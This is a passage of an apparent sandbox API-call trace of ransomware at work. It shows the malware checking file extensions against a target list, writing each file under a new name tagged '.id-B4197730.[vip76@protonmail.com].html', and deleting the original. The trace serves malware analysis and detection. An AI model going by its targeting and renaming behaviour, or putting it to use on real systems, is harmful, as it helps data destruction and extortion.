	[0073.946] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.946] lstrlenW (lpString=".rar") returned 4
	[0073.946] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.946] lstrlenW (lpString=".bz2") returned 4
	[0073.946] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.946] lstrlenW (lpString=".7z") returned 3
	[0073.947] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0073.947] lstrlenW (lpString=".dbf") returned 4
	[0073.947] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0073.947] lstrlenW (lpString=".1cd") returned 4
	[0073.947] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68
	[0073.947] lstrlenW (lpString=".jpg") returned 4
	[0073.947] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.947] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0073.947] lstrlenW (lpString="BL00130_.WMF") returned 12
	[0073.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0073.948] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=1464) returned 1
	[0073.949] CloseHandle (hObject=0x338) returned 1
	[0073.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x220
	[0073.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0073.949] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.949] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0073.950] GetLastError () returned 0x0
	[0073.950] ReadFile (in: hFile=0x338, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x5b8, lpOverlapped=0x0) returned 1
	[0074.172] WriteFile (in: hFile=0x358, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x5c0, lpOverlapped=0x0) returned 1
	[0074.173] ReadFile (in: hFile=0x338, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.173] WriteFile (in: hFile=0x358, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0074.173] SetEndOfFile (hFile=0x358) returned 1
	[0074.642] CloseHandle (hObject=0x358) returned 1
	[0074.643] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.643] SetEndOfFile (hFile=0x338) returned 1
	[0074.644] CloseHandle (hObject=0x338) returned 1
	[0074.645] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0074.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 1
	[0074.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0074.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0074.645] lstrlenW (lpString=".doc") returned 4
	[0074.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.645] lstrlenW (lpString=".docx") returned 5
	[0074.645] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.645] lstrlenW (lpString=".pdf") returned 4
	[0074.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.645] lstrlenW (lpString=".xls") returned 4
	[0074.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.646] lstrlenW (lpString=".xlsx") returned 5
	[0074.646] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.646] lstrlenW (lpString=".ppt") returned 4
	[0074.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0074.646] lstrlenW (lpString=".zip") returned 4
	[0074.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.646] lstrlenW (lpString=".rar") returned 4
	[0074.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.646] lstrlenW (lpString=".bz2") returned 4
	[0074.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.646] lstrlenW (lpString=".7z") returned 3
	[0074.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0074.646] lstrlenW (lpString=".dbf") returned 4
	[0074.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0074.646] lstrlenW (lpString=".1cd") returned 4
	[0074.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0074.646] lstrlenW (lpString=".jpg") returned 4
	[0074.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0074.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0074.646] lstrlenW (lpString=".doc") returned 4
	[0074.647] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.647] lstrlenW (lpString=".docx") returned 5
	[0074.647] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.647] lstrlenW (lpString=".pdf") returned 4
	[0074.647] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.647] lstrlenW (lpString=".xls") returned 4
	[0074.647] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.647] lstrlenW (lpString=".xlsx") returned 5
	[0074.647] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.647] lstrlenW (lpString=".ppt") returned 4
	[0074.647] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0074.647] lstrlenW (lpString=".zip") returned 4
	[0074.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.647] lstrlenW (lpString=".rar") returned 4
	[0074.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.647] lstrlenW (lpString=".bz2") returned 4
	[0074.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.647] lstrlenW (lpString=".7z") returned 3
	[0074.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0074.647] lstrlenW (lpString=".dbf") returned 4
	[0074.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0074.647] lstrlenW (lpString=".1cd") returned 4
	[0074.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68
	[0074.648] lstrlenW (lpString=".jpg") returned 4
	[0074.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.648] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0074.648] lstrlenW (lpString="BL00252_.WMF") returned 12
	[0074.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0074.648] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=4708) returned 1
	[0074.648] CloseHandle (hObject=0x338) returned 1
	[0074.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x220
	[0074.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0074.649] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.649] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0074.649] GetLastError () returned 0x0
	[0074.649] ReadFile (in: hFile=0x338, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x1264, lpOverlapped=0x0) returned 1
	[0074.663] WriteFile (in: hFile=0x358, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x1270, lpOverlapped=0x0) returned 1
	[0074.665] ReadFile (in: hFile=0x338, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.665] WriteFile (in: hFile=0x358, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0074.665] SetEndOfFile (hFile=0x358) returned 1
	[0074.665] CloseHandle (hObject=0x358) returned 1
	[0074.666] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.666] SetEndOfFile (hFile=0x338) returned 1
	[0074.668] CloseHandle (hObject=0x338) returned 1
	[0074.668] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0074.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 1
	[0074.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0074.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0074.669] lstrlenW (lpString=".doc") returned 4
	[0074.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.669] lstrlenW (lpString=".docx") returned 5
	[0074.669] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.669] lstrlenW (lpString=".pdf") returned 4
	[0074.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.669] lstrlenW (lpString=".xls") returned 4
	[0074.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.669] lstrlenW (lpString=".xlsx") returned 5
	[0074.669] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.669] lstrlenW (lpString=".ppt") returned 4
	[0074.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0074.669] lstrlenW (lpString=".zip") returned 4
	[0074.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.669] lstrlenW (lpString=".rar") returned 4
	[0074.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.669] lstrlenW (lpString=".bz2") returned 4
	[0074.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.669] lstrlenW (lpString=".7z") returned 3
	[0074.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0074.669] lstrlenW (lpString=".dbf") returned 4
	[0074.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0074.669] lstrlenW (lpString=".1cd") returned 4
	[0074.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0074.670] lstrlenW (lpString=".jpg") returned 4
	[0074.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0074.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0074.670] lstrlenW (lpString=".doc") returned 4
	[0074.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.670] lstrlenW (lpString=".docx") returned 5
	[0074.670] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.670] lstrlenW (lpString=".pdf") returned 4
	[0074.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.670] lstrlenW (lpString=".xls") returned 4
	[0074.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.670] lstrlenW (lpString=".xlsx") returned 5
	[0074.670] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.670] lstrlenW (lpString=".ppt") returned 4
	[0074.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0074.670] lstrlenW (lpString=".zip") returned 4
	[0074.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.670] lstrlenW (lpString=".rar") returned 4
	[0074.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.670] lstrlenW (lpString=".bz2") returned 4
	[0074.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.671] lstrlenW (lpString=".7z") returned 3
	[0074.671] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0074.671] lstrlenW (lpString=".dbf") returned 4
	[0074.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0074.671] lstrlenW (lpString=".1cd") returned 4
	[0074.671] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68
	[0074.671] lstrlenW (lpString=".jpg") returned 4
	[0074.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.671] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0074.671] lstrlenW (lpString="BL00254_.WMF") returned 12
	[0074.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0074.694] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=1736) returned 1
	[0074.694] CloseHandle (hObject=0x328) returned 1
	[0074.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x220
	[0074.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0074.695] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.695] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0074.806] GetLastError () returned 0x0
	[0074.806] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x6c8, lpOverlapped=0x0) returned 1
	[0074.837] WriteFile (in: hFile=0x364, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x6d0, lpOverlapped=0x0) returned 1
	[0074.838] ReadFile (in: hFile=0x328, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.838] WriteFile (in: hFile=0x364, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0074.839] SetEndOfFile (hFile=0x364) returned 1
	[0074.839] CloseHandle (hObject=0x364) returned 1
	[0074.844] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.844] SetEndOfFile (hFile=0x328) returned 1
	[0074.846] CloseHandle (hObject=0x328) returned 1
	[0074.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0074.846] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 1
	[0074.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0074.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0074.846] lstrlenW (lpString=".doc") returned 4
	[0074.846] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.847] lstrlenW (lpString=".docx") returned 5
	[0074.847] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.847] lstrlenW (lpString=".pdf") returned 4
	[0074.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.847] lstrlenW (lpString=".xls") returned 4
	[0074.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.847] lstrlenW (lpString=".xlsx") returned 5
	[0074.847] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.847] lstrlenW (lpString=".ppt") returned 4
	[0074.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0074.847] lstrlenW (lpString=".zip") returned 4
	[0074.847] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.847] lstrlenW (lpString=".rar") returned 4
	[0074.847] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.847] lstrlenW (lpString=".bz2") returned 4
	[0074.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.847] lstrlenW (lpString=".7z") returned 3
	[0074.847] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0074.847] lstrlenW (lpString=".dbf") returned 4
	[0074.847] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0074.847] lstrlenW (lpString=".1cd") returned 4
	[0074.847] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0074.852] lstrlenW (lpString=".jpg") returned 4
	[0074.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0074.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0074.852] lstrlenW (lpString=".doc") returned 4
	[0074.852] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.852] lstrlenW (lpString=".docx") returned 5
	[0074.852] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.852] lstrlenW (lpString=".pdf") returned 4
	[0074.852] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.852] lstrlenW (lpString=".xls") returned 4
	[0074.852] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.852] lstrlenW (lpString=".xlsx") returned 5
	[0074.852] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.852] lstrlenW (lpString=".ppt") returned 4
	[0074.853] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68
	[0074.853] lstrlenW (lpString=".zip") returned 4
	[0074.853] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.853] lstrlenW (lpString=".rar") returned 4
